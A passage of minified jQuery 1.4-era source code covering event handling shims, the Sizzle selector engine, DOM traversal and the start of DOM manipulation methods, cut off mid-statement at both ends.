  68. c.now();this[c.expando]=true};c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=ca;var a=this.originalEvent;if(a)if(a.preventDefault)a.preventDefault();else a.returnValue=false},stopPropagation:function(){this.isPropagationStopped=ca;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=ca;this.stopPropagation()},isDefaultPrevented:U,isPropagationStopped:U,isImmediatePropagationStopped:U};
  69. var va=function(a){var b=a.relatedTarget;try{for(;b&&b!==this;)b=b.parentNode;if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}}catch(d){}},wa=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?wa:va,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?wa:va)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(){if(this.nodeName.toLowerCase()!==
  70. "form"){c.event.add(this,"click.specialSubmit",function(a){var b=a.target,d=b.type;if((d==="submit"||d==="image")&&c(b).closest("form").length){a.liveFired=B;return la("submit",this,arguments)}});c.event.add(this,"keypress.specialSubmit",function(a){var b=a.target,d=b.type;if((d==="text"||d==="password")&&c(b).closest("form").length&&a.keyCode===13){a.liveFired=B;return la("submit",this,arguments)}})}else return false},teardown:function(){c.event.remove(this,".specialSubmit")}};if(!c.support.changeBubbles){var V,
  71. xa=function(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(e){return e.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},Z=function(a,b){var d=a.target,e,f;if(!(!ia.test(d.nodeName)||d.readOnly)){e=c.data(d,"_change_data");f=xa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data",f);if(!(e===B||f===e))if(e!=null||f){a.type="change";a.liveFired=
  72. B;return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:Z,beforedeactivate:Z,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return Z.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return Z.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a,"_change_data",xa(a))}},setup:function(){if(this.type===
  73. "file")return false;for(var a in V)c.event.add(this,a+".specialChange",V[a]);return ia.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return ia.test(this.nodeName)}};V=c.event.special.change.filters;V.focus=V.beforeactivate}t.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(e){e=c.event.fix(e);e.type=b;return c.event.trigger(e,null,e.target)}c.event.special[b]={setup:function(){ua[b]++===0&&t.addEventListener(a,d,true)},teardown:function(){--ua[b]===
  74. 0&&t.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,e,f){if(typeof d==="object"){for(var h in d)this[b](h,e,d[h],f);return this}if(c.isFunction(e)||e===false){f=e;e=B}var l=b==="one"?c.proxy(f,function(o){c(this).unbind(o,l);return f.apply(this,arguments)}):f;if(d==="unload"&&b!=="one")this.one(d,e,f);else{h=0;for(var k=this.length;h<k;h++)c.event.add(this[h],d,l,e)}return this}});c.fn.extend({unbind:function(a,b){if(typeof a==="object"&&!a.preventDefault)for(var d in a)this.unbind(d,
  75. a[d]);else{d=0;for(var e=this.length;d<e;d++)c.event.remove(this[d],a,b)}return this},delegate:function(a,b,d,e){return this.live(b,d,e,a)},undelegate:function(a,b,d){return arguments.length===0?this.unbind("live"):this.die(b,null,d,a)},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){var d=c.Event(a);d.preventDefault();d.stopPropagation();c.event.trigger(d,b,this[0]);return d.result}},toggle:function(a){for(var b=arguments,d=
  76. 1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(e){var f=(c.data(this,"lastToggle"+a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,f+1);e.preventDefault();return b[f].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var ya={focus:"focusin",blur:"focusout",mouseenter:"mouseover",mouseleave:"mouseout"};c.each(["live","die"],function(a,b){c.fn[b]=function(d,e,f,h){var l,k=0,o,x,r=h||this.selector;h=h?this:c(this.context);if(typeof d===
  77. "object"&&!d.preventDefault){for(l in d)h[b](l,e,d[l],r);return this}if(c.isFunction(e)){f=e;e=B}for(d=(d||"").split(" ");(l=d[k++])!=null;){o=X.exec(l);x="";if(o){x=o[0];l=l.replace(X,"")}if(l==="hover")d.push("mouseenter"+x,"mouseleave"+x);else{o=l;if(l==="focus"||l==="blur"){d.push(ya[l]+x);l+=x}else l=(ya[l]||l)+x;if(b==="live"){x=0;for(var A=h.length;x<A;x++)c.event.add(h[x],"live."+Y(l,r),{data:e,selector:r,handler:f,origType:l,origHandler:f,preType:o})}else h.unbind("live."+Y(l,r),f)}}return this}});
  78. c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),function(a,b){c.fn[b]=function(d,e){if(e==null){e=d;d=null}return arguments.length>0?this.bind(b,d,e):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});E.attachEvent&&!E.addEventListener&&c(E).bind("unload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});
  79. (function(){function a(g,i,n,m,p,q){p=0;for(var u=m.length;p<u;p++){var y=m[p];if(y){var F=false;for(y=y[g];y;){if(y.sizcache===n){F=m[y.sizset];break}if(y.nodeType===1&&!q){y.sizcache=n;y.sizset=p}if(y.nodeName.toLowerCase()===i){F=y;break}y=y[g]}m[p]=F}}}function b(g,i,n,m,p,q){p=0;for(var u=m.length;p<u;p++){var y=m[p];if(y){var F=false;for(y=y[g];y;){if(y.sizcache===n){F=m[y.sizset];break}if(y.nodeType===1){if(!q){y.sizcache=n;y.sizset=p}if(typeof i!=="string"){if(y===i){F=true;break}}else if(k.filter(i,
  80. [y]).length>0){F=y;break}}y=y[g]}m[p]=F}}}var d=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,f=Object.prototype.toString,h=false,l=true;[0,0].sort(function(){l=false;return 0});var k=function(g,i,n,m){n=n||[];var p=i=i||t;if(i.nodeType!==1&&i.nodeType!==9)return[];if(!g||typeof g!=="string")return n;var q,u,y,F,M,N=true,O=k.isXML(i),D=[],R=g;do{d.exec("");if(q=d.exec(R)){R=q[3];D.push(q[1]);if(q[2]){F=q[3];
  81. break}}}while(q);if(D.length>1&&x.exec(g))if(D.length===2&&o.relative[D[0]])u=L(D[0]+D[1],i);else for(u=o.relative[D[0]]?[i]:k(D.shift(),i);D.length;){g=D.shift();if(o.relative[g])g+=D.shift();u=L(g,u)}else{if(!m&&D.length>1&&i.nodeType===9&&!O&&o.match.ID.test(D[0])&&!o.match.ID.test(D[D.length-1])){q=k.find(D.shift(),i,O);i=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]}if(i){q=m?{expr:D.pop(),set:C(m)}:k.find(D.pop(),D.length===1&&(D[0]==="~"||D[0]==="+")&&i.parentNode?i.parentNode:i,O);u=q.expr?k.filter(q.expr,
  82. q.set):q.set;if(D.length>0)y=C(u);else N=false;for(;D.length;){q=M=D.pop();if(o.relative[M])q=D.pop();else M="";if(q==null)q=i;o.relative[M](y,q,O)}}else y=[]}y||(y=u);y||k.error(M||g);if(f.call(y)==="[object Array]")if(N)if(i&&i.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&k.contains(i,y[g])))n.push(u[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&n.push(u[g]);else n.push.apply(n,y);else C(y,n);if(F){k(F,p,n,m);k.uniqueSort(n)}return n};k.uniqueSort=function(g){if(w){h=
  83. l;g.sort(w);if(h)for(var i=1;i<g.length;i++)g[i]===g[i-1]&&g.splice(i--,1)}return g};k.matches=function(g,i){return k(g,null,null,i)};k.matchesSelector=function(g,i){return k(i,null,null,[g]).length>0};k.find=function(g,i,n){var m;if(!g)return[];for(var p=0,q=o.order.length;p<q;p++){var u,y=o.order[p];if(u=o.leftMatch[y].exec(g)){var F=u[1];u.splice(1,1);if(F.substr(F.length-1)!=="\\"){u[1]=(u[1]||"").replace(/\\/g,"");m=o.find[y](u,i,n);if(m!=null){g=g.replace(o.match[y],"");break}}}}m||(m=i.getElementsByTagName("*"));
  84. return{set:m,expr:g}};k.filter=function(g,i,n,m){for(var p,q,u=g,y=[],F=i,M=i&&i[0]&&k.isXML(i[0]);g&&i.length;){for(var N in o.filter)if((p=o.leftMatch[N].exec(g))!=null&&p[2]){var O,D,R=o.filter[N];D=p[1];q=false;p.splice(1,1);if(D.substr(D.length-1)!=="\\"){if(F===y)y=[];if(o.preFilter[N])if(p=o.preFilter[N](p,F,n,y,m,M)){if(p===true)continue}else q=O=true;if(p)for(var j=0;(D=F[j])!=null;j++)if(D){O=R(D,p,j,F);var s=m^!!O;if(n&&O!=null)if(s)q=true;else F[j]=false;else if(s){y.push(D);q=true}}if(O!==
  85. B){n||(F=y);g=g.replace(o.match[N],"");if(!q)return[];break}}}if(g===u)if(q==null)k.error(g);else break;u=g}return F};k.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var o=k.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+\-]*)\))?/,
  86. POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},relative:{"+":function(g,i){var n=typeof i==="string",m=n&&!/\W/.test(i);n=n&&!m;if(m)i=i.toLowerCase();m=0;for(var p=g.length,q;m<p;m++)if(q=g[m]){for(;(q=q.previousSibling)&&q.nodeType!==1;);g[m]=n||q&&q.nodeName.toLowerCase()===
  87. i?q||false:q===i}n&&k.filter(i,g,true)},">":function(g,i){var n,m=typeof i==="string",p=0,q=g.length;if(m&&!/\W/.test(i))for(i=i.toLowerCase();p<q;p++){if(n=g[p]){n=n.parentNode;g[p]=n.nodeName.toLowerCase()===i?n:false}}else{for(;p<q;p++)if(n=g[p])g[p]=m?n.parentNode:n.parentNode===i;m&&k.filter(i,g,true)}},"":function(g,i,n){var m,p=e++,q=b;if(typeof i==="string"&&!/\W/.test(i)){m=i=i.toLowerCase();q=a}q("parentNode",i,p,g,m,n)},"~":function(g,i,n){var m,p=e++,q=b;if(typeof i==="string"&&!/\W/.test(i)){m=
  88. i=i.toLowerCase();q=a}q("previousSibling",i,p,g,m,n)}},find:{ID:function(g,i,n){if(typeof i.getElementById!=="undefined"&&!n)return(g=i.getElementById(g[1]))&&g.parentNode?[g]:[]},NAME:function(g,i){if(typeof i.getElementsByName!=="undefined"){for(var n=[],m=i.getElementsByName(g[1]),p=0,q=m.length;p<q;p++)m[p].getAttribute("name")===g[1]&&n.push(m[p]);return n.length===0?null:n}},TAG:function(g,i){return i.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,i,n,m,p,q){g=" "+g[1].replace(/\\/g,
  89. "")+" ";if(q)return g;q=0;for(var u;(u=i[q])!=null;q++)if(u)if(p^(u.className&&(" "+u.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))n||m.push(u);else if(n)i[q]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var i=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=i[1]+(i[2]||1)-0;g[3]=i[3]-0}g[0]=e++;return g},ATTR:function(g,i,n,
  90. m,p,q){i=g[1].replace(/\\/g,"");if(!q&&o.attrMap[i])g[1]=o.attrMap[i];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,i,n,m,p){if(g[1]==="not")if((d.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,i);else{g=k.filter(g[3],i,n,true^p);n||m.push.apply(m,g);return false}else if(o.match.POS.test(g[0])||o.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===
  91. true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,i,n){return!!k(n[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===
  92. g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,i){return i===0},last:function(g,i,n,m){return i===m.length-1},even:function(g,i){return i%2===0},odd:function(g,i){return i%2===1},lt:function(g,i,n){return i<n[3]-0},gt:function(g,i,n){return i>n[3]-0},nth:function(g,i,n){return n[3]-
  93. 0===i},eq:function(g,i,n){return n[3]-0===i}},filter:{PSEUDO:function(g,i,n,m){var p=i[1],q=o.filters[p];if(q)return q(g,n,i,m);else if(p==="contains")return(g.textContent||g.innerText||k.getText([g])||"").indexOf(i[3])>=0;else if(p==="not"){i=i[3];n=0;for(m=i.length;n<m;n++)if(i[n]===g)return false;return true}else k.error("Syntax error, unrecognized expression: "+p)},CHILD:function(g,i){var n=i[1],m=g;switch(n){case "only":case "first":for(;m=m.previousSibling;)if(m.nodeType===1)return false;if(n===
  94. "first")return true;m=g;case "last":for(;m=m.nextSibling;)if(m.nodeType===1)return false;return true;case "nth":n=i[2];var p=i[3];if(n===1&&p===0)return true;var q=i[0],u=g.parentNode;if(u&&(u.sizcache!==q||!g.nodeIndex)){var y=0;for(m=u.firstChild;m;m=m.nextSibling)if(m.nodeType===1)m.nodeIndex=++y;u.sizcache=q}m=g.nodeIndex-p;return n===0?m===0:m%n===0&&m/n>=0}},ID:function(g,i){return g.nodeType===1&&g.getAttribute("id")===i},TAG:function(g,i){return i==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===
  95. i},CLASS:function(g,i){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(i)>-1},ATTR:function(g,i){var n=i[1];n=o.attrHandle[n]?o.attrHandle[n](g):g[n]!=null?g[n]:g.getAttribute(n);var m=n+"",p=i[2],q=i[4];return n==null?p==="!=":p==="="?m===q:p==="*="?m.indexOf(q)>=0:p==="~="?(" "+m+" ").indexOf(q)>=0:!q?m&&n!==false:p==="!="?m!==q:p==="^="?m.indexOf(q)===0:p==="$="?m.substr(m.length-q.length)===q:p==="|="?m===q||m.substr(0,q.length+1)===q+"-":false},POS:function(g,i,n,m){var p=o.setFilters[i[2]];
  96. if(p)return p(g,n,i,m)}}},x=o.match.POS,r=function(g,i){return"\\"+(i-0+1)},A;for(A in o.match){o.match[A]=RegExp(o.match[A].source+/(?![^\[]*\])(?![^\(]*\))/.source);o.leftMatch[A]=RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[A].source.replace(/\\(\d+)/g,r))}var C=function(g,i){g=Array.prototype.slice.call(g,0);if(i){i.push.apply(i,g);return i}return g};try{Array.prototype.slice.call(t.documentElement.childNodes,0)}catch(J){C=function(g,i){var n=0,m=i||[];if(f.call(g)==="[object Array]")Array.prototype.push.apply(m,
  97. g);else if(typeof g.length==="number")for(var p=g.length;n<p;n++)m.push(g[n]);else for(;g[n];n++)m.push(g[n]);return m}}var w,I;if(t.documentElement.compareDocumentPosition)w=function(g,i){if(g===i){h=true;return 0}if(!g.compareDocumentPosition||!i.compareDocumentPosition)return g.compareDocumentPosition?-1:1;return g.compareDocumentPosition(i)&4?-1:1};else{w=function(g,i){var n,m,p=[],q=[];n=g.parentNode;m=i.parentNode;var u=n;if(g===i){h=true;return 0}else if(n===m)return I(g,i);else if(n){if(!m)return 1}else return-1;
  98. for(;u;){p.unshift(u);u=u.parentNode}for(u=m;u;){q.unshift(u);u=u.parentNode}n=p.length;m=q.length;for(u=0;u<n&&u<m;u++)if(p[u]!==q[u])return I(p[u],q[u]);return u===n?I(g,q[u],-1):I(p[u],i,1)};I=function(g,i,n){if(g===i)return n;for(g=g.nextSibling;g;){if(g===i)return-1;g=g.nextSibling}return 1}}k.getText=function(g){for(var i="",n,m=0;g[m];m++){n=g[m];if(n.nodeType===3||n.nodeType===4)i+=n.nodeValue;else if(n.nodeType!==8)i+=k.getText(n.childNodes)}return i};(function(){var g=t.createElement("div"),
  99. i="script"+(new Date).getTime(),n=t.documentElement;g.innerHTML="<a name='"+i+"'/>";n.insertBefore(g,n.firstChild);if(t.getElementById(i)){o.find.ID=function(m,p,q){if(typeof p.getElementById!=="undefined"&&!q)return(p=p.getElementById(m[1]))?p.id===m[1]||typeof p.getAttributeNode!=="undefined"&&p.getAttributeNode("id").nodeValue===m[1]?[p]:B:[]};o.filter.ID=function(m,p){var q=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&q&&q.nodeValue===p}}n.removeChild(g);
  100. n=g=null})();(function(){var g=t.createElement("div");g.appendChild(t.createComment(""));if(g.getElementsByTagName("*").length>0)o.find.TAG=function(i,n){var m=n.getElementsByTagName(i[1]);if(i[1]==="*"){for(var p=[],q=0;m[q];q++)m[q].nodeType===1&&p.push(m[q]);m=p}return m};g.innerHTML="<a href='#'></a>";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")o.attrHandle.href=function(i){return i.getAttribute("href",2)};g=null})();t.querySelectorAll&&
  101. function(){var g=k,i=t.createElement("div");i.innerHTML="<p class='TEST'></p>";if(!(i.querySelectorAll&&i.querySelectorAll(".TEST").length===0)){k=function(m,p,q,u){p=p||t;m=m.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!u&&!k.isXML(p))if(p.nodeType===9)try{return C(p.querySelectorAll(m),q)}catch(y){}else if(p.nodeType===1&&p.nodeName.toLowerCase()!=="object"){var F=p.getAttribute("id"),M=F||"__sizzle__";F||p.setAttribute("id",M);try{return C(p.querySelectorAll("#"+M+" "+m),q)}catch(N){}finally{F||
  102. p.removeAttribute("id")}}return g(m,p,q,u)};for(var n in g)k[n]=g[n];i=null}}();(function(){var g=t.documentElement,i=g.matchesSelector||g.mozMatchesSelector||g.webkitMatchesSelector||g.msMatchesSelector,n=false;try{i.call(t.documentElement,"[test!='']:sizzle")}catch(m){n=true}if(i)k.matchesSelector=function(p,q){q=q.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!k.isXML(p))try{if(n||!o.match.PSEUDO.test(q)&&!/!=/.test(q))return i.call(p,q)}catch(u){}return k(q,null,null,[p]).length>0}})();(function(){var g=
  103. t.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){o.order.splice(1,0,"CLASS");o.find.CLASS=function(i,n,m){if(typeof n.getElementsByClassName!=="undefined"&&!m)return n.getElementsByClassName(i[1])};g=null}}})();k.contains=t.documentElement.contains?function(g,i){return g!==i&&(g.contains?g.contains(i):true)}:t.documentElement.compareDocumentPosition?
  104. function(g,i){return!!(g.compareDocumentPosition(i)&16)}:function(){return false};k.isXML=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false};var L=function(g,i){for(var n,m=[],p="",q=i.nodeType?[i]:i;n=o.match.PSEUDO.exec(g);){p+=n[0];g=g.replace(o.match.PSEUDO,"")}g=o.relative[g]?g+"*":g;n=0;for(var u=q.length;n<u;n++)k(g,q[n],m);return k.filter(p,m)};c.find=k;c.expr=k.selectors;c.expr[":"]=c.expr.filters;c.unique=k.uniqueSort;c.text=k.getText;c.isXMLDoc=k.isXML;
  105. c.contains=k.contains})();var Za=/Until$/,$a=/^(?:parents|prevUntil|prevAll)/,ab=/,/,Na=/^.[^:#\[\.,]*$/,bb=Array.prototype.slice,cb=c.expr.match.POS;c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,e=0,f=this.length;e<f;e++){d=b.length;c.find(a,this[e],b);if(e>0)for(var h=d;h<b.length;h++)for(var l=0;l<d;l++)if(b[l]===b[h]){b.splice(h--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=0,e=b.length;d<e;d++)if(c.contains(this,b[d]))return true})},
  106. not:function(a){return this.pushStack(ma(this,a,false),"not",a)},filter:function(a){return this.pushStack(ma(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){var d=[],e,f,h=this[0];if(c.isArray(a)){var l,k={},o=1;if(h&&a.length){e=0;for(f=a.length;e<f;e++){l=a[e];k[l]||(k[l]=c.expr.match.POS.test(l)?c(l,b||this.context):l)}for(;h&&h.ownerDocument&&h!==b;){for(l in k){e=k[l];if(e.jquery?e.index(h)>-1:c(h).is(e))d.push({selector:l,elem:h,level:o})}h=
  107. h.parentNode;o++}}return d}l=cb.test(a)?c(a,b||this.context):null;e=0;for(f=this.length;e<f;e++)for(h=this[e];h;)if(l?l.index(h)>-1:c.find.matchesSelector(h,a)){d.push(h);break}else{h=h.parentNode;if(!h||!h.ownerDocument||h===b)break}d=d.length>1?c.unique(d):d;return this.pushStack(d,"closest",a)},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var d=typeof a==="string"?c(a,b||this.context):
  108. c.makeArray(a),e=c.merge(this.get(),d);return this.pushStack(!d[0]||!d[0].parentNode||d[0].parentNode.nodeType===11||!e[0]||!e[0].parentNode||e[0].parentNode.nodeType===11?e:c.unique(e))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,
  109. 2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,
  110. b){c.fn[a]=function(d,e){var f=c.map(this,b,d);Za.test(a)||(e=d);if(e&&typeof e==="string")f=c.filter(e,f);f=this.length>1?c.unique(f):f;if((this.length>1||ab.test(e))&&$a.test(a))f=f.reverse();return this.pushStack(f,a,bb.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return b.length===1?c.find.matchesSelector(b[0],a)?[b[0]]:[]:c.find.matches(a,b)},dir:function(a,b,d){var e=[];for(a=a[b];a&&a.nodeType!==9&&(d===B||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&
  111. e.push(a);a=a[b]}return e},nth:function(a,b,d){b=b||1;for(var e=0;a;a=a[d])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var za=/ jQuery\d+="(?:\d+|null)"/g,$=/^\s+/,Aa=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Ba=/<([\w:]+)/,db=/<tbody/i,eb=/<|&#?\w+;/,Ca=/<(?:script|object|embed|option|style)/i,Da=/checked\s*(?:[^=]|=\s*.checked.)/i,fb=/\=([^="'>\s]+\/)>/g,P={option:[1,
  112. "<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};P.optgroup=P.option;P.tbody=P.tfoot=P.colgroup=P.caption=P.thead;P.th=P.td;if(!c.support.htmlSerialize)P._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=
  113. c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==B)return this.empty().append((this[0]&&this[0].ownerDocument||t).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},
  114. wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},
  115. prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,
  116. this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,e;(e=this[d])!=null;d++)if(!a||c.filter(a,[e]).length){if(!b&&e.nodeType===1){c.cleanData(e.getElementsByTagName("*"));c.cleanData([e])}e.parentNode&&e.parentNode.removeChild(e)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild);
  117. return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,e=this.ownerDocument;if(!d){d=e.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(za,"").replace(fb,'="$1">').replace($,"")],e)[0]}else return this.cloneNode(true)});if(a===true){na(this,b);na(this.find("*"),b.find("*"))}return b},html:function(a){if(a===B)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(za,""):null;
  118. else if(typeof a==="string"&&!Ca.test(a)&&(c.support.leadingWhitespace||!$.test(a))&&!P[(Ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Aa,"<$1></$2>");try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(e){this.empty().append(a)}}else c.isFunction(a)?this.each(function(f){var h=c(this);h.html(a.call(this,f,h.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=
  119. c(this),e=d.html();d.replaceWith(a.call(this,b,e))});if(typeof a!=="string")a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){var e,f,h,l=a[0],k=[];if(!c.support.checkClone&&arguments.length===3&&typeof l==="string"&&Da.test(l))return this.each(function(){c(this).domManip(a,
